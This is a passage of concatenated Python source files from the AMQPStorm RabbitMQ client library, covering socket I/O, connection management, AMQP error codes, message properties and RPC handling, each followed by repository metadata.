self.data_in = EMPTY_BUFFER
self._running.set()
sock_addresses = self._get_socket_addresses()
self.socket = self._find_address_and_connect(sock_addresses)
self.poller = Poller(self.socket.fileno(), self._exceptions,
timeout=self._parameters['timeout'])
self._inbound_thread = self._create_inbound_thread()
finally:
self._wr_lock.release()
self._rd_lock.release()
def write_to_socket(self, frame_data):
"""Write data to the socket.
:param str frame_data:
:return:
"""
self._wr_lock.acquire()
try:
total_bytes_written = 0
bytes_to_send = len(frame_data)
while total_bytes_written < bytes_to_send:
try:
if not self.socket:
raise socket.error('connection/socket error')
bytes_written = (
self.socket.send(frame_data[total_bytes_written:])
)
if bytes_written == 0:
raise socket.error('connection/socket error')
total_bytes_written += bytes_written
except socket.timeout:
pass
except socket.error as why:
if why.args[0] in (EWOULDBLOCK, EAGAIN):
continue
self._exceptions.append(AMQPConnectionError(why))
return
finally:
self._wr_lock.release()
def _close_socket(self):
"""Shutdown and close the Socket.
:return:
"""
if not self.socket:
return
try:
if self.use_ssl:
self.socket.unwrap()
self.socket.shutdown(socket.SHUT_RDWR)
except (OSError, socket.error, ValueError):
pass
self.socket.close()
def _get_socket_addresses(self):
"""Get Socket address information.
:rtype: list
"""
family = socket.AF_UNSPEC
if not socket.has_ipv6:
family = socket.AF_INET
try:
addresses = socket.getaddrinfo(self._parameters['hostname'],
self._parameters['port'], family,
socket.SOCK_STREAM)
except socket.gaierror as why:
raise AMQPConnectionError(why)
return addresses
def _find_address_and_connect(self, addresses):
"""Find and connect to the appropriate address.
:param addresses:
:raises AMQPConnectionError: Raises if the connection
encountered an error.
:rtype: socket.socket
"""
error_message = None
for address in addresses:
sock = self._create_socket(socket_family=address[0])
try:
sock.connect(address[4])
except (IOError, OSError) as why:
error_message = why.strerror
continue
return sock
raise AMQPConnectionError(
'Could not connect to %s:%d error: %s' % (
self._parameters['hostname'], self._parameters['port'],
error_message
)
)
def _create_socket(self, socket_family):
"""Create Socket.
:param int socket_family:
:rtype: socket.socket
"""
sock = socket.socket(socket_family, socket.SOCK_STREAM, 0)
sock.settimeout(self._parameters['timeout'] or None)
if self.use_ssl:
if not compatibility.SSL_SUPPORTED:
raise AMQPConnectionError(
'Python not compiled with support for TLSv1 or higher'
)
sock = self._ssl_wrap_socket(sock)
return sock
def _ssl_wrap_socket(self, sock):
"""Wrap SSLSocket around the Socket.
:param socket.socket sock:
:rtype: SSLSocket
"""
context = self._parameters['ssl_options'].get('context')
if context is not None:
hostname = self._parameters['ssl_options'].get('server_hostname')
return context.wrap_socket(
sock, do_handshake_on_connect=True,
server_hostname=hostname
)
hostname = self._parameters['hostname']
context = ssl.SSLContext(ssl.PROTOCOL_TLS)
mode = self._parameters['ssl_options'].get('verify_mode', 'none')
if mode.lower() == 'required':
context.verify_mode = ssl.CERT_REQUIRED
else:
context.verify_mode = ssl.CERT_NONE
check = self._parameters['ssl_options'].get('check_hostname', False)
context.check_hostname = check
context.load_default_certs()
return context.wrap_socket(sock, do_handshake_on_connect=True,
server_hostname=hostname)
def _create_inbound_thread(self):
"""Internal Thread that handles all incoming traffic.
:rtype: threading.Thread
"""
inbound_thread = threading.Thread(target=self._process_incoming_data,
name=__name__)
inbound_thread.daemon = True
inbound_thread.start()
return inbound_thread
def _process_incoming_data(self):
"""Retrieve and process any incoming data.
:return:
"""
while self._running.is_set():
if self.poller.is_ready:
self.data_in += self._receive()
self.data_in = self._on_read_impl(self.data_in)
def _receive(self):
"""Receive any incoming socket data.
If an error is thrown, handle it and return an empty string.
:return: data_in
:rtype: bytes
"""
data_in = EMPTY_BUFFER
try:
data_in = self._read_from_socket()
except socket.timeout:
pass
except compatibility.SSLWantReadError:
# NOTE(visobet): Retry if the non-blocking socket does not
# have any meaningful data ready.
pass
except (IOError, OSError) as why:
if why.args[0] not in (EWOULDBLOCK, EAGAIN):
self._exceptions.append(AMQPConnectionError(why))
if self._running.is_set():
LOGGER.warning("Stopping inbound thread due to %s", why)
self._running.clear()
return data_in
def _read_from_socket(self):
"""Read data from the socket.
:rtype: bytes
"""
if not self.use_ssl:
if not self.socket:
raise socket.error('connection/socket error')
return self.socket.recv(MAX_FRAME_SIZE)
with self._rd_lock:
if not self.socket:
raise socket.error('connection/socket error')
return self.socket.read(MAX_FRAME_SIZE)
| {
"repo_name": "eandersson/amqpstorm",
"path": "amqpstorm/io.py",
"copies": "1",
"size": "9623",
"license": "mit",
"hash": -384970358472185600,
"line_mean": 31.0766666667,
"line_max": 77,
"alpha_frac": 0.5395406838,
"autogenerated": false,
"ratio": 4.5412930627654555,
"config_test": false,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 1,
"avg_score": 0,
"num_lines": 300
} |
"""AMQPStorm Connection."""
import logging
import time
from time import sleep
from pamqp import exceptions as pamqp_exception
from pamqp import frame as pamqp_frame
from pamqp import header as pamqp_header
from pamqp import specification
from amqpstorm import compatibility
from amqpstorm.base import IDLE_WAIT
from amqpstorm.base import Stateful
from amqpstorm.channel import Channel
from amqpstorm.channel0 import Channel0
from amqpstorm.exception import AMQPConnectionError
from amqpstorm.exception import AMQPInvalidArgument
from amqpstorm.heartbeat import Heartbeat
from amqpstorm.io import EMPTY_BUFFER
from amqpstorm.io import IO
LOGGER = logging.getLogger(__name__)
DEFAULT_HEARTBEAT_INTERVAL = 60
DEFAULT_SOCKET_TIMEOUT = 10
DEFAULT_VIRTUAL_HOST = '/'
class Connection(Stateful):
"""RabbitMQ Connection.
e.g.
::
import amqpstorm
connection = amqpstorm.Connection('localhost', 'guest', 'guest')
Using a SSL Context:
::
import ssl
import amqpstorm
ssl_options = {
'context': ssl.create_default_context(cafile='ca_certificate.pem'),
'server_hostname': 'rmq.eandersson.net',
'check_hostname': True, # New 2.8.0, default is False
'verify_mode': 'required', # New 2.8.0, default is 'none'
}
connection = amqpstorm.Connection(
'rmq.eandersson.net', 'guest', 'guest', port=5671,
ssl=True, ssl_options=ssl_options
)
:param str hostname: Hostname
:param str username: Username
:param str password: Password
:param int port: Server port
:param str virtual_host: Virtual host
:param int heartbeat: RabbitMQ Heartbeat interval
:param int,float timeout: Socket timeout
:param bool ssl: Enable SSL
:param dict ssl_options: SSL kwargs
:param dict client_properties: None or dict of client properties
:param bool lazy: Lazy initialize the connection
:raises AMQPConnectionError: Raises if the connection
encountered an error.
"""
__slots__ = [
'heartbeat', 'parameters', '_channel0', '_channels', '_io'
]
def __init__(self, hostname, username, password, port=5672, **kwargs):
super(Connection, self).__init__()
self.parameters = {
'hostname': hostname,
'username': username,
'password': password,
'port': port,
'virtual_host': kwargs.get('virtual_host', DEFAULT_VIRTUAL_HOST),
'heartbeat': kwargs.get('heartbeat', DEFAULT_HEARTBEAT_INTERVAL),
'timeout': kwargs.get('timeout', DEFAULT_SOCKET_TIMEOUT),
'ssl': kwargs.get('ssl', False),
'ssl_options': kwargs.get('ssl_options', {}),
'client_properties': kwargs.get('client_properties', {})
}
self._validate_parameters()
self._io = IO(self.parameters, exceptions=self._exceptions,
on_read_impl=self._read_buffer)
self._channel0 = Channel0(self, self.parameters['client_properties'])
self._channels = {}
self._last_channel_id = None
self.heartbeat = Heartbeat(self.parameters['heartbeat'],
self._channel0.send_heartbeat)
if not kwargs.get('lazy', False):
self.open()
def __enter__(self):
return self
def __exit__(self, exception_type, exception_value, _):
if exception_type:
message = 'Closing connection due to an unhandled exception: %s'
LOGGER.warning(message, exception_value)
self.close()
@property
def channels(self):
"""Returns a dictionary of the Channels currently available.
:rtype: dict
"""
return self._channels
@property
def fileno(self):
"""Returns the Socket File number.
:rtype: integer,None
"""
if not self._io.socket:
return None
return self._io.socket.fileno()
@property
def is_blocked(self):
"""Is the connection currently being blocked from publishing by
the remote server.
:rtype: bool
"""
return self._channel0.is_blocked
@property
def max_allowed_channels(self):
"""Returns the maximum allowed channels for the connection.
:rtype: int
"""
return self._channel0.max_allowed_channels
@property
def max_frame_size(self):
"""Returns the maximum allowed frame size for the connection.
:rtype: int
"""
return self._channel0.max_frame_size
@property
def server_properties(self):
"""Returns the RabbitMQ Server Properties.
:rtype: dict
"""
return self._channel0.server_properties
@property
def socket(self):
"""Returns an instance of the Socket used by the Connection.
:rtype: socket.socket
"""
return self._io.socket
def channel(self, rpc_timeout=60, lazy=False):
"""Open a Channel.
:param int rpc_timeout: Timeout before we give up waiting for an RPC
response from the server.
:raises AMQPInvalidArgument: Invalid Parameters
:raises AMQPChannelError: Raises if the channel encountered an error.
:raises AMQPConnectionError: Raises if the connection
encountered an error.
:rtype: amqpstorm.Channel
"""
LOGGER.debug('Opening a new Channel')
if not compatibility.is_integer(rpc_timeout):
raise AMQPInvalidArgument('rpc_timeout should be an integer')
elif self.is_closed:
raise AMQPConnectionError('socket/connection closed')
with self.lock:
channel_id = self._get_next_available_channel_id()
channel = Channel(channel_id, self, rpc_timeout)
self._channels[channel_id] = channel
if not lazy:
channel.open()
LOGGER.debug('Channel #%d Opened', channel_id)
return self._channels[channel_id]
def check_for_errors(self):
"""Check Connection for errors.
:raises AMQPConnectionError: Raises if the connection
encountered an error.
:return:
"""
if not self.exceptions:
if not self.is_closed:
return
why = AMQPConnectionError('connection was closed')
self.exceptions.append(why)
self.set_state(self.CLOSED)
self.close()
raise self.exceptions[0]
def close(self):
"""Close the Connection.
:raises AMQPConnectionError: Raises if the connection
encountered an error.
:return:
"""
LOGGER.debug('Connection Closing')
if not self.is_closed:
self.set_state(self.CLOSING)
self.heartbeat.stop()
try:
if not self.is_closed and self.socket:
self._channel0.send_close_connection()
self._wait_for_connection_state(state=Stateful.CLOSED)
except AMQPConnectionError:
pass
finally:
self._close_remaining_channels()
self._io.close()
self.set_state(self.CLOSED)
LOGGER.debug('Connection Closed')
def open(self):
"""Open Connection.
:raises AMQPConnectionError: Raises if the connection
encountered an error.
"""
LOGGER.debug('Connection Opening')
self.set_state(self.OPENING)
self._exceptions = []
self._channels = {}
self._last_channel_id = None
self._io.open()
self._send_handshake()
self._wait_for_connection_state(state=Stateful.OPEN)
self.heartbeat.start(self._exceptions)
LOGGER.debug('Connection Opened')
def write_frame(self, channel_id, frame_out):
"""Marshal and write an outgoing pamqp frame to the Socket.
:param int channel_id: Channel ID.
:param specification.Frame frame_out: Amqp frame.
:return:
"""
frame_data = pamqp_frame.marshal(frame_out, channel_id)
self.heartbeat.register_write()
self._io.write_to_socket(frame_data)
def write_frames(self, channel_id, frames_out):
"""Marshal and write multiple outgoing pamqp frames to the Socket.
:param int channel_id: Channel ID/
:param list frames_out: Amqp frames.
:return:
"""
data_out = EMPTY_BUFFER
for single_frame in frames_out:
data_out += pamqp_frame.marshal(single_frame, channel_id)
self.heartbeat.register_write()
self._io.write_to_socket(data_out)
def _close_remaining_channels(self):
"""Forcefully close all open channels.
:return:
"""
for channel_id in list(self._channels):
self._channels[channel_id].set_state(Channel.CLOSED)
self._channels[channel_id].close()
self._cleanup_channel(channel_id)
def _get_next_available_channel_id(self):
"""Returns the next available available channel id.
:raises AMQPConnectionError: Raises if there is no available channel.
:rtype: int
"""
for channel_id in compatibility.RANGE(self._last_channel_id or 1,
self.max_allowed_channels + 1):
if channel_id in self._channels:
channel = self._channels[channel_id]
if channel.current_state != Channel.CLOSED:
continue
del self._channels[channel_id]
self._last_channel_id = channel_id
return channel_id
if self._last_channel_id:
self._last_channel_id = None
return self._get_next_available_channel_id()
raise AMQPConnectionError(
'reached the maximum number of channels %d' %
self.max_allowed_channels)
def _handle_amqp_frame(self, data_in):
"""Unmarshal a single AMQP frame and return the result.
:param data_in: socket data
:return: data_in, channel_id, frame
"""
if not data_in:
return data_in, None, None
try:
byte_count, channel_id, frame_in = pamqp_frame.unmarshal(data_in)
return data_in[byte_count:], channel_id, frame_in
except pamqp_exception.UnmarshalingException:
pass
except specification.AMQPFrameError as why:
LOGGER.error('AMQPFrameError: %r', why, exc_info=True)
except ValueError as why:
LOGGER.error(why, exc_info=True)
self.exceptions.append(AMQPConnectionError(why))
return data_in, None, None
def _read_buffer(self, data_in):
"""Process the socket buffer, and direct the data to the appropriate
channel.
:rtype: bytes
"""
while data_in:
data_in, channel_id, frame_in = self._handle_amqp_frame(data_in)
if frame_in is None:
break
self.heartbeat.register_read()
if channel_id == 0:
self._channel0.on_frame(frame_in)
elif channel_id in self._channels:
self._channels[channel_id].on_frame(frame_in)
return data_in
def _cleanup_channel(self, channel_id):
"""Remove the the channel from the list of available channels.
:param int channel_id: Channel id
:return:
"""
with self.lock:
if channel_id not in self._channels:
return
del self._channels[channel_id]
def _send_handshake(self):
"""Send a RabbitMQ Handshake.
:return:
"""
self._io.write_to_socket(pamqp_header.ProtocolHeader().marshal())
def _validate_parameters(self):
"""Validate Connection Parameters.
:return:
"""
if not compatibility.is_string(self.parameters['hostname']):
raise AMQPInvalidArgument('hostname should be a string')
elif not compatibility.is_integer(self.parameters['port']):
raise AMQPInvalidArgument('port should be an integer')
elif not compatibility.is_string(self.parameters['username']):
raise AMQPInvalidArgument('username should be a string')
elif not compatibility.is_string(self.parameters['password']):
raise AMQPInvalidArgument('password should be a string')
elif not compatibility.is_string(self.parameters['virtual_host']):
raise AMQPInvalidArgument('virtual_host should be a string')
elif not isinstance(self.parameters['timeout'], (int, float)):
raise AMQPInvalidArgument('timeout should be an integer or float')
elif not compatibility.is_integer(self.parameters['heartbeat']):
raise AMQPInvalidArgument('heartbeat should be an integer')
def _wait_for_connection_state(self, state=Stateful.OPEN, rpc_timeout=30):
"""Wait for a Connection state.
:param int state: State that we expect
:raises AMQPConnectionError: Raises if we are unable to establish
a connection to RabbitMQ.
:return:
"""
start_time = time.time()
while self.current_state != state:
self.check_for_errors()
if time.time() - start_time > rpc_timeout:
raise AMQPConnectionError('Connection timed out')
sleep(IDLE_WAIT)
| {
"repo_name": "eandersson/amqpstorm",
"path": "amqpstorm/connection.py",
"copies": "1",
"size": "13696",
"license": "mit",
"hash": 4662499689783107000,
"line_mean": 32.7339901478,
"line_max": 79,
"alpha_frac": 0.597473715,
"autogenerated": false,
"ratio": 4.331435800126502,
"config_test": false,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 1,
"avg_score": 0,
"num_lines": 406
} |
"""AMQPStorm Exception."""
AMQP_ERROR_MAPPING = {
311: ('CONTENT-TOO-LARGE',
'The client attempted to transfer content larger than the '
'server could accept at the present time. The client may '
'retry at a later time.'),
312: ('NO-ROUTE', 'Undocumented AMQP Soft Error'),
313: ('NO-CONSUMERS',
'When the exchange cannot deliver to a consumer when the '
'immediate flag is set. As a result of pending data on '
'the queue or the absence of any consumers of the queue.'),
320: ('CONNECTION-FORCED',
'An operator intervened to close the connection for some reason. '
'The client may retry at some later date.'),
402: ('INVALID-PATH',
'The client tried to work with an unknown virtual host.'),
403: ('ACCESS-REFUSED',
'The client attempted to work with a server entity to which '
'has no access due to security settings.'),
404: ('NOT-FOUND',
'The client attempted to work with a server '
'entity that does not exist.'),
405: ('RESOURCE-LOCKED',
'The client attempted to work with a server entity to which it '
'has no access because another client is working with it.'),
406: ('PRECONDITION-FAILED',
'The client requested a method that was not '
'allowed because some precondition failed.'),
501: ('FRAME-ERROR',
'The sender sent a malformed frame that the recipient could '
'not decode. This strongly implies a programming error in '
'the sending peer.'),
502: ('SYNTAX-ERROR',
'The sender sent a frame that contained illegal values for '
'one or more fields. This strongly implies a programming '
'error in the sending peer.'),
503: ('COMMAND-INVALID',
'The client sent an invalid sequence of frames, attempting to '
'perform an operation that was considered invalid by the server. '
'This usually implies a programming error in the client.'),
504: ('CHANNEL-ERROR',
'The client attempted to work with a channel that had not '
'been correctly opened. This most likely indicates a '
'fault in the client layer.'),
505: ('UNEXPECTED-FRAME',
'The peer sent a frame that was not expected, usually in the '
'context of a content header and body. This strongly '
'indicates a fault in the peer\'s content processing.'),
506: ('RESOURCE-ERROR',
'The server could not complete the method because it lacked '
'sufficient resources. This may be due to the client '
'creating too many of some type of entity.'),
530: ('NOT-ALLOWED',
'The client tried to work with some entity in a manner '
'that is prohibited by the server, due to security '
'settings or by some other criteria.'),
540: ('NOT-IMPLEMENTED',
'The client tried to use functionality that is '
'notimplemented in the server.'),
541: ('INTERNAL-ERROR',
'The server could not complete the method because of an '
'internal error. The server may require intervention by '
'an operator in order to resume normal operations.')
}
class AMQPError(IOError):
"""General AMQP Error.
Exceptions raised by AMQPStorm are mapped based to the
AMQP 0.9.1 specifications (when applicable).
e.g.
::
except AMQPChannelError as why:
if why.error_code == 312:
self.channel.queue.declare(queue_name)
"""
_documentation = None
_error_code = None
_error_type = None
@property
def documentation(self):
"""AMQP Documentation string."""
return self._documentation or bytes()
@property
def error_code(self):
"""AMQP Error Code - A 3-digit reply code."""
return self._error_code
@property
def error_type(self):
"""AMQP Error Type e.g. NOT-FOUND."""
return self._error_type
def __init__(self, *args, **kwargs):
self._error_code = kwargs.pop('reply_code', None)
super(AMQPError, self).__init__(*args, **kwargs)
if self._error_code not in AMQP_ERROR_MAPPING:
return
self._error_type = AMQP_ERROR_MAPPING[self._error_code][0]
self._documentation = AMQP_ERROR_MAPPING[self._error_code][1]
class AMQPConnectionError(AMQPError):
"""AMQP Connection Error."""
pass
class AMQPChannelError(AMQPError):
"""AMQP Channel Error."""
pass
class AMQPMessageError(AMQPChannelError):
"""AMQP Message Error."""
pass
class AMQPInvalidArgument(AMQPError):
"""AMQP Argument Error."""
| {
"repo_name": "eandersson/amqpstorm",
"path": "amqpstorm/exception.py",
"copies": "1",
"size": "4732",
"license": "mit",
"hash": -420688496893749400,
"line_mean": 36.856,
"line_max": 76,
"alpha_frac": 0.6234150465,
"autogenerated": false,
"ratio": 4.221231043710972,
"config_test": false,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 0.5344646090210973,
"avg_score": null,
"num_lines": null
} |
"""AMQPStorm Message."""
import json
import uuid
from datetime import datetime
from amqpstorm.base import BaseMessage
from amqpstorm.compatibility import try_utf8_decode
from amqpstorm.exception import AMQPMessageError
class Message(BaseMessage):
"""RabbitMQ Message.
e.g.
::
# Message Properties.
properties = {
'content_type': 'text/plain',
'expiration': '3600',
'headers': {'key': 'value'},
}
# Create a new message.
message = Message.create(channel, 'Hello RabbitMQ!', properties)
# Publish the message to a queue called, 'my_queue'.
message.publish('my_queue')
:param Channel channel: AMQPStorm Channel
:param bytes,str,unicode body: Message payload
:param dict method: Message method
:param dict properties: Message properties
:param bool auto_decode: Auto-decode strings when possible. Does not
apply to to_dict, or to_tuple.
"""
__slots__ = [
'_decode_cache'
]
def __init__(self, channel, body=None, method=None, properties=None,
auto_decode=True):
super(Message, self).__init__(
channel, body, method, properties, auto_decode
)
self._decode_cache = dict()
@staticmethod
def create(channel, body, properties=None):
"""Create a new Message.
:param Channel channel: AMQPStorm Channel
:param bytes,str,unicode body: Message payload
:param dict properties: Message properties
:rtype: Message
"""
properties = dict(properties or {})
if 'correlation_id' not in properties:
properties['correlation_id'] = str(uuid.uuid4())
if 'message_id' not in properties:
properties['message_id'] = str(uuid.uuid4())
if 'timestamp' not in properties:
properties['timestamp'] = datetime.utcnow()
return Message(channel, auto_decode=False,
body=body, properties=properties)
@property
def body(self):
"""Return the Message Body.
If auto_decode is enabled, the body will automatically be
decoded using decode('utf-8') if possible.
:rtype: bytes,str,unicode
"""
if not self._auto_decode:
return self._body
if 'body' in self._decode_cache:
return self._decode_cache['body']
body = try_utf8_decode(self._body)
self._decode_cache['body'] = body
return body
@property
def channel(self):
"""Return the Channel used by this message.
:rtype: Channel
"""
return self._channel
@property
def method(self):
"""Return the Message Method.
If auto_decode is enabled, all strings will automatically be
decoded using decode('utf-8') if possible.
:rtype: dict
"""
return self._try_decode_utf8_content(self._method, 'method')
@property
def properties(self):
"""Returns the Message Properties.
If auto_decode is enabled, all strings will automatically be
decoded using decode('utf-8') if possible.
:rtype: dict
"""
return self._try_decode_utf8_content(self._properties, 'properties')
def ack(self):
"""Acknowledge Message.
:raises AMQPInvalidArgument: Invalid Parameters
:raises AMQPChannelError: Raises if the channel encountered an error.
:raises AMQPConnectionError: Raises if the connection
encountered an error.
:return:
"""
if not self._method:
raise AMQPMessageError(
'Message.ack only available on incoming messages'
)
self._channel.basic.ack(delivery_tag=self.delivery_tag)
def nack(self, requeue=True):
"""Negative Acknowledgement.
:raises AMQPInvalidArgument: Invalid Parameters
:raises AMQPChannelError: Raises if the channel encountered an error.
:raises AMQPConnectionError: Raises if the connection
encountered an error.
:param bool requeue: Re-queue the message
"""
if not self._method:
raise AMQPMessageError(
'Message.nack only available on incoming messages'
)
self._channel.basic.nack(delivery_tag=self.delivery_tag,
requeue=requeue)
def reject(self, requeue=True):
"""Reject Message.
:raises AMQPInvalidArgument: Invalid Parameters
:raises AMQPChannelError: Raises if the channel encountered an error.
:raises AMQPConnectionError: Raises if the connection
encountered an error.
:param bool requeue: Re-queue the message
"""
if not self._method:
raise AMQPMessageError(
'Message.reject only available on incoming messages'
)
self._channel.basic.reject(delivery_tag=self.delivery_tag,
requeue=requeue)
def publish(self, routing_key, exchange='', mandatory=False,
immediate=False):
"""Publish Message.
:param str routing_key: Message routing key
:param str exchange: The exchange to publish the message to
:param bool mandatory: Requires the message is published
:param bool immediate: Request immediate delivery
:raises AMQPInvalidArgument: Invalid Parameters
:raises AMQPChannelError: Raises if the channel encountered an error.
:raises AMQPConnectionError: Raises if the connection
encountered an error.
:rtype: bool,None
"""
return self._channel.basic.publish(body=self._body,
routing_key=routing_key,
exchange=exchange,
properties=self._properties,
mandatory=mandatory,
immediate=immediate)
@property
def app_id(self):
"""Get AMQP Message attribute: app_id.
:return:
"""
return self.properties.get('app_id')
@app_id.setter
def app_id(self, value):
"""Set AMQP Message attribute: app_id.
:return:
"""
self._update_properties('app_id', value)
@property
def message_id(self):
"""Get AMQP Message attribute: message_id.
:return:
"""
return self.properties.get('message_id')
@message_id.setter
def message_id(self, value):
"""Set AMQP Message attribute: message_id.
:return:
"""
self._update_properties('message_id', value)
@property
def content_encoding(self):
"""Get AMQP Message attribute: content_encoding.
:return:
"""
return self.properties.get('content_encoding')
@content_encoding.setter
def content_encoding(self, value):
"""Set AMQP Message attribute: content_encoding.
:return:
"""
self._update_properties('content_encoding', value)
@property
def content_type(self):
"""Get AMQP Message attribute: content_type.
:return:
"""
return self.properties.get('content_type')
@content_type.setter
def content_type(self, value):
"""Set AMQP Message attribute: content_type.
:return:
"""
self._update_properties('content_type', value)
@property
def correlation_id(self):
"""Get AMQP Message attribute: correlation_id.
:return:
"""
return self.properties.get('correlation_id')
@correlation_id.setter
def correlation_id(self, value):
"""Set AMQP Message attribute: correlation_id.
:return:
"""
self._update_properties('correlation_id', value)
@property
def delivery_mode(self):
"""Get AMQP Message attribute: delivery_mode.
:return:
"""
return self.properties.get('delivery_mode')
@delivery_mode.setter
def delivery_mode(self, value):
"""Set AMQP Message attribute: delivery_mode.
:return:
"""
self._update_properties('delivery_mode', value)
@property
def timestamp(self):
"""Get AMQP Message attribute: timestamp.
:return:
"""
return self.properties.get('timestamp')
@timestamp.setter
def timestamp(self, value):
"""Set AMQP Message attribute: timestamp.
:return:
"""
self._update_properties('timestamp', value)
@property
def priority(self):
"""Get AMQP Message attribute: priority.
:return:
"""
return self.properties.get('priority')
@priority.setter
def priority(self, value):
"""Set AMQP Message attribute: priority.
:return:
"""
self._update_properties('priority', value)
@property
def reply_to(self):
"""Get AMQP Message attribute: reply_to.
:return:
"""
return self.properties.get('reply_to')
@reply_to.setter
def reply_to(self, value):
"""Set AMQP Message attribute: reply_to.
:return:
"""
self._update_properties('reply_to', value)
@property
def message_type(self):
"""Get AMQP Message attribute: message_type.
:return:
"""
return self.properties.get('message_type')
@message_type.setter
def message_type(self, value):
"""Set AMQP Message attribute: message_type.
:return:
"""
self._update_properties('message_type', value)
@property
def expiration(self):
"""Get AMQP Message attribute: expiration.
:return:
"""
return self.properties.get('expiration')
@expiration.setter
def expiration(self, value):
"""Set AMQP Message attribute: expiration.
:return:
"""
self._update_properties('expiration', value)
@property
def user_id(self):
"""Get AMQP Message attribute: user_id.
:return:
"""
return self.properties.get('user_id')
@user_id.setter
def user_id(self, value):
"""Set AMQP Message attribute: user_id.
:return:
"""
self._update_properties('user_id', value)
@property
def redelivered(self):
"""Indicates if this message may have been delivered before (but not
acknowledged).
:rtype: bool,None
"""
if not self._method:
return None
return self._method.get('redelivered')
@property
def delivery_tag(self):
"""Server-assigned delivery tag.
:rtype: int,None
"""
if not self._method:
return None
return self._method.get('delivery_tag')
def json(self):
"""Deserialize the message body, if it is JSON.
:return:
"""
return json.loads(self.body)
def _update_properties(self, name, value):
"""Update properties, and keep cache up-to-date if auto decode is
enabled.
:param str name: Key
:param obj value: Value
:return:
"""
if self._auto_decode and 'properties' in self._decode_cache:
self._decode_cache['properties'][name] = value
self._properties[name] = value
def _try_decode_utf8_content(self, content, content_type):
"""Generic function to decode content.
:param object content:
:return:
"""
if not self._auto_decode or not content:
return content
if content_type in self._decode_cache:
return self._decode_cache[content_type]
if isinstance(content, dict):
content = self._try_decode_dict(content)
else:
content = try_utf8_decode(content)
self._decode_cache[content_type] = content
return content
def _try_decode_dict(self, content):
"""Decode content of a dictionary.
:param dict content:
:return:
"""
result = dict()
for key, value in content.items():
key = try_utf8_decode(key)
if isinstance(value, dict):
result[key] = self._try_decode_dict(value)
elif isinstance(value, list):
result[key] = self._try_decode_list(value)
elif isinstance(value, tuple):
result[key] = self._try_decode_tuple(value)
else:
result[key] = try_utf8_decode(value)
return result
@staticmethod
def _try_decode_list(content):
"""Decode content of a list.
:param list,tuple content:
:return:
"""
result = list()
for value in content:
result.append(try_utf8_decode(value))
return result
@staticmethod
def _try_decode_tuple(content):
"""Decode content of a tuple.
:param tuple content:
:return:
"""
return tuple(Message._try_decode_list(content))
| {
"repo_name": "eandersson/amqpstorm",
"path": "amqpstorm/message.py",
"copies": "1",
"size": "13383",
"license": "mit",
"hash": 8884527123634994000,
"line_mean": 27.1747368421,
"line_max": 77,
"alpha_frac": 0.5699768363,
"autogenerated": false,
"ratio": 4.480415132239705,
"config_test": false,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 0.5550391968539705,
"avg_score": null,
"num_lines": null
} |
"""AMQPStorm Rpc."""
import threading
import time
from uuid import uuid4
from amqpstorm.base import IDLE_WAIT
from amqpstorm.exception import AMQPChannelError
class Rpc(object):
"""Internal RPC handler."""
def __init__(self, default_adapter, timeout=360):
"""
:param object default_adapter: Connection or Channel.
:param int|float timeout: Rpc timeout.
"""
self._lock = threading.Lock()
self._default_adapter = default_adapter
self._timeout = timeout
self._response = {}
self._request = {}
@property
def lock(self):
return self._lock
def on_frame(self, frame_in):
"""On RPC Frame.
:param specification.Frame frame_in: Amqp frame.
:return:
"""
if frame_in.name not in self._request:
return False
uuid = self._request[frame_in.name]
if self._response[uuid]:
self._response[uuid].append(frame_in)
else:
self._response[uuid] = [frame_in]
return True
def register_request(self, valid_responses):
"""Register a RPC request.
:param list valid_responses: List of possible Responses that
we should be waiting for.
:return:
"""
uuid = str(uuid4())
self._response[uuid] = []
for action in valid_responses:
self._request[action] = uuid
return uuid
def remove(self, uuid):
"""Remove any data related to a specific RPC request.
:param str uuid: Rpc Identifier.
:return:
"""
self.remove_request(uuid)
self.remove_response(uuid)
def remove_request(self, uuid):
"""Remove any RPC request(s) using this uuid.
:param str uuid: Rpc Identifier.
:return:
"""
for key in list(self._request):
if self._request[key] == uuid:
del self._request[key]
def remove_response(self, uuid):
"""Remove a RPC Response using this uuid.
:param str uuid: Rpc Identifier.
:return:
"""
if uuid in self._response:
del self._response[uuid]
def get_request(self, uuid, raw=False, multiple=False, adapter=None):
"""Get a RPC request.
:param str uuid: Rpc Identifier
:param bool raw: If enabled return the frame as is, else return
result as a dictionary.
:param bool multiple: Are we expecting multiple frames.
:param obj adapter: Provide custom adapter.
:return:
"""
if uuid not in self._response:
return
self._wait_for_request(uuid, adapter or self._default_adapter)
frame = self._get_response_frame(uuid)
if not multiple:
self.remove(uuid)
result = None
if raw:
result = frame
elif frame is not None:
result = dict(frame)
return result
def _get_response_frame(self, uuid):
"""Get a response frame.
:param str uuid: Rpc Identifier
:return:
"""
frame = None
frames = self._response.get(uuid, None)
if frames:
frame = frames.pop(0)
return frame
def _wait_for_request(self, uuid, adapter=None):
"""Wait for RPC request to arrive.
:param str uuid: Rpc Identifier.
:param obj adapter: Provide custom adapter.
:return:
"""
start_time = time.time()
while not self._response[uuid]:
adapter.check_for_errors()
if time.time() - start_time > self._timeout:
self._raise_rpc_timeout_error(uuid)
time.sleep(IDLE_WAIT)
def _raise_rpc_timeout_error(self, uuid):
"""Gather information and raise an Rpc exception.
:param str uuid: Rpc Identifier.
:return:
"""
requests = []
for key, value in self._request.items():
if value == uuid:
requests.append(key)
self.remove(uuid)
message = (
'rpc requests %s (%s) took too long' %
(
uuid,
', '.join(requests)
)
)
raise AMQPChannelError(message)
| {
"repo_name": "fake-name/ReadableWebProxy",
"path": "amqpstorm/rpc.py",
"copies": "1",
"size": "4323",
"license": "bsd-3-clause",
"hash": 3750009546240662000,
"line_mean": 27.2549019608,
"line_max": 73,
"alpha_frac": 0.5466111497,
"autogenerated": false,
"ratio": 4.323,
"config_test": false,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 0.53696111497,
"avg_score": null,
"num_lines": null
} |
"""AMQPStorm Uri wrapper for Connection."""
import logging
from amqpstorm import compatibility
from amqpstorm.compatibility import ssl
from amqpstorm.compatibility import urlparse
from amqpstorm.connection import Connection
from amqpstorm.connection import DEFAULT_HEARTBEAT_INTERVAL
from amqpstorm.connection import DEFAULT_SOCKET_TIMEOUT
from amqpstorm.connection import DEFAULT_VIRTUAL_HOST
from amqpstorm.exception import AMQPConnectionError
LOGGER = logging.getLogger(__name__)
class UriConnection(Connection):
"""Create a new Connection instance using an AMQP Uri string.
